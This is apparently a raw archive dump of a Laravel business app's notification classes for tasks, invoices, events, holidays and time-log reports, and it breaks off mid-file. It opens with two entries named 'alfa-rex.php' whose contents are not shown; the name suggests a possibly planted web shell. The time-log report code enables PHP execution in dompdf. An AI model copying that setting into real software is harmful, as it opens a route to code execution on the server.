alfa-rex.php000064400000026574150325104500006765 0ustar00Notifications/alfa-rex.php000064400000026574150325104500011576 0ustar00Notifications/NewAppreciation.php000064400000010324150325104500013151 0ustar00userAppreciation = $userAppreciation; $this->emailSetting = EmailNotificationSetting::where('slug', 'appreciation-notification')->first(); $this->company = $this->userAppreciation->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && slack_setting()->status == 'active') { array_push($via, 'slack'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newAppreciation.subject'), $this->userAppreciation->award->title); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $content = __('email.newAppreciation.text', ['award' => $this->userAppreciation->award->title, 'award_at' => $this->userAppreciation->award_date->format($this->company->date_format)]); $url = route('appreciations.show', $this->userAppreciation->id); $url = getDomainSpecificUrl($url, $this->company); $build ->subject(__('email.newAppreciation.subject')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newAppreciation.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'id' => $this->userAppreciation->id, 'created_at' => $this->userAppreciation->created_at->format('Y-m-d H:i:s'), 'award_at' => $this->userAppreciation->award_date->format('Y-m-d H:i:s'), 'heading' => $this->userAppreciation->award->title, 'icon' => $this->userAppreciation->award->awardIcon->icon, 'color_code' => $this->userAppreciation->award->color_code, 'image_url' => $this->userAppreciation->addedBy->image_url ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $url = route('appreciations.show', $this->userAppreciation->id); $url = getDomainSpecificUrl($url, $this->company); return $this->slackBuild($notifiable) ->content('*' . __('email.newAppreciation.subject') . '*' . "\n" . '<' . $url . '|' . $this->userAppreciation->award->title . '>'); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newAppreciation.subject')) ->setBody($this->userAppreciation->award->title); } } Notifications/NewTask.php000064400000010755150325104500011445 0ustar00task = $task; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newTask.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $dueDate = (!is_null($this->task->due_date)) ? $this->task->due_date->format($this->company->date_format) : null; $taskShortCode = (!is_null($this->task->task_short_code)) ? '#' . $this->task->task_short_code . ' - ' : ' '; $content = $this->task->heading . ' ' . $taskShortCode . '

' . __('app.dueDate') . ': ' . $dueDate . '

'; $subject = __('email.newTask.subject') . ' ' . $taskShortCode . config('app.name'). '.'; $build ->subject($subject) ->greeting(__('email.hello') . ' ' . $notifiable->name . ',') ->markdown('mail.task.created', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $dueDate = (!is_null($this->task->due_date)) ? $this->task->due_date->format($this->company->date_format) : null; $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $taskShortCode = $this->task->task_short_code ? ' #' . $this->task->task_short_code : ''; return $this->slackBuild($notifiable) ->content('*' . __('email.newTask.subject') . '*' . "\n" . '<' . $url . '|' . $this->task->heading . '>' . "\n" . $taskShortCode . "\n" . __('app.dueDate') . ': ' . $dueDate . (!is_null($this->task->project) ? "\n" . __('app.project') . ' - ' . $this->task->project->project_name : '')); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.newTask.subject')) ->setBody($this->task->heading); } } Notifications/NewEstimate.php000064400000005273150325104500012315 0ustar00estimate = $estimate; $this->user = User::findOrFail($estimate->client_id); $this->company = $this->estimate->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if (push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.estimate.subject'), $this->estimate->estimate_number); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ // phpcs:ignore public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = url()->temporarySignedRoute('front.estimate.show', now()->addDays(GlobalSetting::SIGNED_ROUTE_EXPIRY), $this->estimate->hash); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.estimate.text') . '
' . __('app.menu.estimate') . ' ' . __('app.number') . ': ' .$this->estimate->estimate_number ; $build ->subject(__('email.estimate.subject') . ' (' . $this->estimate->estimate_number . ') - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.estimateDeclined.action'), 'notifiableName' => $this->user->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->estimate->id, 'estimate_number' => $this->estimate->estimate_number ]; } } Notifications/NewLeadCreated.php000064400000006133150325104500012673 0ustar00leadContact = $leadContact; $this->company = $this->leadContact->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'lead-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array('database'); if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.lead.subject'), $this->leadContact->client_name); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('lead-contact.show', $this->leadContact->id); $url = getDomainSpecificUrl($url, $this->company); $leadEmail = __('modules.lead.clientEmail') . ': '; $clientEmail = !is_null($this->leadContact->client_email) ? $leadEmail . $this->leadContact->client_email . '
' : ''; $content = __('email.lead.subject') . '
' . __('modules.lead.clientName') . ': ' . $this->leadContact->client_name_salutation . '
' . $clientEmail; if (session()->has('deal_name')) { $content .= __('modules.deal.dealName') . ": " . session('deal_name') . '
'; } $build ->subject(__('email.lead.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.lead.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->leadContact->id, 'name' => $this->leadContact->client_name, 'agent_id' => $notifiable->id, 'added_by' => $this->leadContact->added_by ]; } } Notifications/EstimateRequestAccepted.php000064400000005621150325104500014642 0ustar00estimateRequest = $estimateRequest; $this->company = $this->estimateRequest->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'estimate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build(); $url = route('estimate-request.show', $this->estimateRequest->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.estimateRequestAccepted.text') . '
' . __('modules.estimateRequest.estimateRequest') . ' ' . __('app.number') . ': ' .$this->estimateRequest->estimate_request_number; $build ->subject(__('email.estimateRequestAccepted.subject') . ' (' . $this->estimateRequest->estimate_request_number . ') - ' . config('app.name') . __('!')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.estimateRequestRejected.action'), 'notifiableName' => $notifiable->name, ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ // phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->estimateRequest->id, 'estimate_request_number' => $this->estimateRequest->estimate_request_number, ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable)->content(__('email.hello') . ' ' . $notifiable->name . ' ' . __('email.estimateRequestAccepted.subject')); } } Notifications/TaskStatusUpdated.php000064400000012421150325104500013476 0ustar00task = $task; $this->updatedBy = $updatedBy; $this->company = $this->task->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id) ->where('slug', 'task-status-updated') ->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.taskUpdate.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return MailMessage */ public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $projectTitle = (!is_null($this->task->project)) ? __('app.project') . ' - ' . $this->task->project->project_name : ''; $content = 'Updated Task Status: ' . $this->task->boardColumn->column_name . '
' . __('email.taskUpdate.updatedBy') . ': ' . $this->updatedBy->name . '
' . __('app.task') . ': ' . $this->task->heading . '
' . $projectTitle; $taskShortCode = (!is_null($this->task->task_short_code)) ? '#' . $this->task->task_short_code : ' '; $build ->subject(__('email.taskUpdate.subject') . $taskShortCode . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskUpdate.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading, 'completed_on' => (!is_null($this->task->completed_on)) ? $this->task->completed_on->format('Y-m-d H:i:s') : now()->format('Y-m-d H:i:s') ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return SlackMessage */ public function toSlack($notifiable) { $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $taskShortCode = $this->task->task_short_code ? ' #' . $this->task->task_short_code : ''; $taskStatus = $this->task->boardColumn->column_name ? 'Status: ' . $this->task->boardColumn->column_name : ''; $taskDescription = $this->task->description ? 'Description: ' . strip_tags($this->task->description) : ''; $taskAssigne = $this->task->users ? 'Task Assignees: ' . $this->task->users->pluck('name')->implode(', ') : ''; return $this->slackBuild($notifiable) ->content('*' . __('email.taskUpdate.slackStatusUpdated') . '*' . "\n" . '<' . $url . '|' . $this->task->heading . '>' . "\n" . $taskShortCode . "\n" . $taskStatus . "\n" . $taskDescription . "\n" . $taskAssigne . (!is_null($this->task->project) ? "\n" . __('app.project') . ': ' . $this->task->project->project_name : '')); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.taskUpdate.subject')) ->setBody($this->task->heading . ' ' . __('email.taskUpdate.subject') . ' #' . $this->task->task_short_code); } } Notifications/NewUserSlack.php000064400000004012150325104500012424 0ustar00company = $user->company; // When there is company of user. if ($this->company) { $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'user-registrationadded-by-admin')->first(); } } /** * Get the notification's delivery channels. *t('mail::layout') * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } return $via; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $notifiable->toArray(); } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { try { $url = route('login'); $url = getDomainSpecificUrl($url, $this->company); $content = '*' . __('email.newUser.subject') . ' ' . config('app.name') . '!*' . "\n" . __('email.newUser.text'); $url = "\n" . '<' . $url . '|' . __('email.newUser.action') . '>'; return $this->slackBuild($notifiable)->content($content . $url); } catch (\Exception $e) { return $this->slackRedirectMessage('email.newUser.subject', $notifiable); } } } Notifications/TaskUpdatedClient.php000064400000004271150325104500013435 0ustar00task = $task; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('tasks.show', $this->task->id); $url = getDomainSpecificUrl($url, $this->company); $content = $this->task->heading . ' ' . __('email.taskUpdate.subject') . '.'; $build ->subject(__('email.taskUpdate.subject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.taskUpdate.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray() { return [ 'id' => $this->task->id, 'updated_at' => $this->task->updated_at->format('Y-m-d H:i:s'), 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } } Notifications/EventInvite.php000064400000010410150325104500012315 0ustar00event = $event; $this->company = $this->event->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'event-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.newEvent.subject'), $this->event->event_name); } return $via; } /** * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage * @throws \Exception */ public function toMail($notifiable) { $eventInvite = parent::build($notifiable); $vCalendar = new \Eluceo\iCal\Component\Calendar('www.example.com'); $vEvent = new \Eluceo\iCal\Component\Event(); $vEvent ->setDtStart(new \DateTime($this->event->start_date_time)) ->setDtEnd(new \DateTime($this->event->end_date_time)) ->setNoTime(true) ->setSummary($this->event->event_name); $vCalendar->addComponent($vEvent); $vFile = $vCalendar->render(); $url = route('events.show', $this->event->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.newEvent.text') . '

' . __('modules.events.eventName') . ': ' . $this->event->event_name . '
' . __('modules.events.startOn') . ': ' . $this->event->start_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format) . '
' . __('modules.events.endOn') . ': ' . $this->event->end_date_time->translatedFormat($this->company->date_format . ' - ' . $this->company->time_format) . '
' . __('app.location') . ': ' . $this->event->where . ''; $eventInvite->subject(__('email.newEvent.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.newEvent.action'), 'notifiableName' => $notifiable->name ]); $eventInvite->attachData($vFile, 'cal.ics', [ 'mime' => 'text/calendar', ]); return $eventInvite; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->event->id, 'start_date_time' => $this->event->start_date_time->format('Y-m-d H:i:s'), 'event_name' => $this->event->event_name ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.newEvent.subject') . "\n" . __('modules.events.eventName') . ': ' . $this->event->event_name . "\n" . __('modules.events.startOn') . ': ' . $this->event->start_date_time->format($this->company->date_format . ' - ' . $this->company->time_format) . "\n" . __('modules.events.endOn') . ': ' . $this->event->end_date_time->format($this->company->date_format . ' - ' . $this->company->time_format)); } } Notifications/NewProductPurchaseRequest.php000064400000007130150325104500015220 0ustar00invoice = $invoice; $this->company = $this->invoice->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'new-product-purchase-request')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.productPurchase.subject'), __('email.productPurchase.text') . ' ' . $this->invoice->client->name . '.'); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('invoices.show', $this->invoice->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.productPurchase.subject') . '
' . __('email.productPurchase.text') . ' ' . $this->invoice->client->name . '.'; $build ->subject(__('email.productPurchase.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.productPurchase.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return $this->invoice->toArray(); } //phpcs:ignore public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.productPurchase.subject') . "\n" . __('email.productPurchase.text') . ' ' . $this->invoice->client->name . '.'); } //phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.productPurchase.subject')) ->setBody('by ' . $this->invoice->client->name); } } Notifications/NewHoliday.php000064400000006501150325104500012126 0ustar00holiday = $holiday; $this->company = $this->holiday->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id) ->where('slug', 'holiday-notification') ->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.holidays.subject'), $this->holiday->occassion); } return $via; } /** * @param mixed $notifiable * @return MailMessage * @throws \Exception */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('holidays.show', $this->holiday->id); $url = getDomainSpecificUrl($url, $this->company); $content = __('email.holidays.text') . '

' . __('app.occassion') . ': ' . $this->holiday->occassion . '
' . __('app.date') . ': ' . $this->holiday->date->translatedFormat($this->company->date_format) . ''; $build->subject(__('email.holidays.subject') . ' - ' . config('app.name')) ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.leaves.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->holiday->id, 'holiday_date' => $this->holiday->date->format('Y-m-d H:i:s'), 'holiday_name' => $this->holiday->occassion ]; } public function toSlack($notifiable) { return $this->slackBuild($notifiable) ->content(__('email.holidays.subject') . "\n" . $notifiable->name . "\n" . '*' . __('app.date') . '*: ' . $this->holiday->date->format($this->company->date_format) . "\n" . __('modules.holiday.occasion') . ': ' . $this->holiday->occassion); } } Notifications/DailyTimeLogReport.php000064400000010220150325104500013573 0ustar00user = $user; $this->role = $role; $this->company = $this->user->company; $this->todayDate = Carbon::now()->toDateString(); } /** * Get the notification's delivery channels. * * @return array */ public function via(object $notifiable): array { return ['mail']; } public function attachments() { return [ Attachment::fromData(fn() => $this->domPdfObjectForDownload()['pdf']->output(), 'TimeLog-Report-' . $this->todayDate . '.pdf') ->withMime('application/pdf'), ]; } public function domPdfObjectForDownload() { $company = $this->company; $employees = User::select('users.id', 'users.name') ->with(['timeLogs' => function ($query) use ($company) { $query->whereRaw('DATE(start_time) = ?', [$this->todayDate]); $query->where('company_id', $company->id); }, 'timeLogs.breaks']) ->when($this->role->name != 'admin', function ($query) { $query->where('users.id', $this->user->id); }) ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id')->onlyEmployee() ->where('roles.company_id', $company->id) ->groupBy('users.id'); $employees = $employees->get(); $employeeData = []; foreach ($employees as $employee) { $employeeData[$employee->name] = []; $employeeData[$employee->name]['timelog'] = 0; $employeeData[$employee->name]['timelogBreaks'] = 0; if (count($employee->timeLogs) > 0) { foreach ($employee->timeLogs as $timeLog) { $employeeData[$employee->name]['timelog'] += $timeLog->total_minutes; if (count($timeLog->breaks) > 0) { foreach ($timeLog->breaks as $timeLogBreak) { $employeeData[$employee->name]['timelogBreaks'] += $timeLogBreak->total_minutes; } } } } } $now = $this->todayDate; $requestedDate = $now; $pdf = app('dompdf.wrapper')->setPaper('A4', 'landscape'); $options = $pdf->getOptions(); $options->set(array('enable_php' => true)); $pdf->getDomPDF()->setOptions($options); /** @phpstan-ignore-line */ $pdf->loadView('timelog-report', ['employees' => $employeeData, 'date' => $now, 'company' => $company]); $filename = 'timelog-report'; return [ 'pdf' => $pdf, 'fileName' => $filename ]; } /** * Get the mail representation of the notification. */ public function toMail(object $notifiable): MailMessage { $build = parent::build($notifiable); $pdfOption = $this->domPdfObjectForDownload(); $pdf = $pdfOption['pdf']; $filename = $pdfOption['fileName']; $build->attachData($pdf->output(), $filename . '.pdf'); App::setLocale($notifiable->locale ?? $this->company->locale ?? 'en'); $build->subject(__('email.dailyTimelogReport.subject') . ' ' . $this->todayDate) ->markdown('mail.timelog.timelog-report', ['date' => $this->todayDate, 'name' => $this->user->name]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @return array */ public function toArray(object $notifiable): array { return [ // ]; } } Notifications/SubTaskAssigneeAdded.php000064400000004600150325104500014036 0ustar00subTask = $subTask; $this->company = $this->subTask->task->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'user-assign-to-task')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function via($notifiable) { $via = ['database']; if ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } return $via; } public function toMail($notifiable): MailMessage { $build = parent::build($notifiable); $url = route('tasks.show', [$this->subTask->task->id, 'view' => 'sub_task']); $url = getDomainSpecificUrl($url, $this->company); $content = $this->subTask->title . ' ' . __('email.subTaskAssigneeAdded.subject') . '.' . '
' . ((!is_null($this->subTask->task->project)) ? __('app.project') . ' - ' . $this->subTask->task->project->project_name : '') . '
'; $build ->subject(__('email.subTaskAssigneeAdded.subject') . ' - ' . config('app.name') . '.') ->markdown('mail.email', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color, 'actionText' => __('email.subTaskAssigneeAdded.action'), 'notifiableName' => $notifiable->name ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->subTask->task->id, 'created_at' => $this->subTask->created_at->format('Y-m-d H:i:s'), 'heading' => $this->subTask->title ]; } } Notifications/TaskReminder.php000064400000007750150325104500012462 0ustar00task = $task; $this->emailSetting = EmailNotificationSetting::userAssignTask(); $this->company = $this->task->company; } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = array(); if ($notifiable->email_notifications && $notifiable->email != '') { array_push($via, 'mail'); } if ($this->emailSetting->send_slack == 'yes' && $this->company->slackSetting->status == 'active') { $this->slackUserNameCheck($notifiable) ? array_push($via, 'slack') : null; } if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if ($this->emailSetting->send_push == 'yes' && push_setting()->beams_push_status == 'active') { $pushNotification = new \App\Http\Controllers\DashboardController(); $pushUsersIds = [[$notifiable->id]]; $pushNotification->sendPushNotifications($pushUsersIds, __('email.reminder.subject'), $this->task->heading); } return $via; } /** * Get the mail representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\MailMessage */ public function toMail($notifiable) { $build = parent::build($notifiable); $url = route('front.task_detail', [$this->task->hash]); $url = getDomainSpecificUrl($url, $this->company); $content = $this->task->heading . ' #' . $this->task->task_short_code . '

'; if ($this->task->due_date) { $content .= '' . __('app.dueDate') . ' : ' . $this->task->due_date->format($this->company->date_format) . '

'; } $build ->subject(__('email.reminder.subject') . ' #' . $this->task->task_short_code . ' - ' . config('app.name') . '.') ->greeting(__('email.hello') . ' ' . $notifiable->name . ',') ->markdown('mail.task.reminder', [ 'url' => $url, 'content' => $content, 'themeColor' => $this->company->header_color ]); parent::resetLocale(); return $build; } /** * Get the array representation of the notification. * * @param mixed $notifiable * @return array */ //phpcs:ignore public function toArray($notifiable) { return [ 'id' => $this->task->id, 'created_at' => $this->task->created_at->format('Y-m-d H:i:s'), 'heading' => $this->task->heading ]; } /** * Get the Slack representation of the notification. * * @param mixed $notifiable * @return \Illuminate\Notifications\Messages\SlackMessage */ public function toSlack($notifiable) { $dueDate = (!is_null($this->task->due_date)) ? $this->task->due_date->format($this->company->date_format) : null; return $this->slackBuild($notifiable) ->content('*' . __('email.reminder.subject') . '*' . "\n" . $this->task->heading . "\n" . ' #' . $this->task->task_short_code . "\n" . __('app.dueDate') . ': ' . $dueDate); } // phpcs:ignore public function toOneSignal($notifiable) { return OneSignalMessage::create() ->setSubject(__('email.reminder.subject')) ->setBody($this->task->heading . ' #' . $this->task->task_short_code); } } Notifications/NewInvoice.php000064400000010072150325104500012127 0ustar00invoice = $invoice; $this->company = $this->invoice->company; $this->emailSetting = EmailNotificationSetting::where('company_id', $this->company->id)->where('slug', 'invoice-createupdate-notification')->first(); } /** * Get the notification's delivery channels. * * @param mixed $notifiable * @return array */ public function via($notifiable) { $via = ($this->emailSetting->send_email == 'yes' && $notifiable->email_notifications && $notifiable->email != '') ? ['mail', 'database'] : ['database']; if ($this->emailSetting->send_push == 'yes' && push_setting()->status == 'active') { array_push($via, OneSignalChannel::class); } if 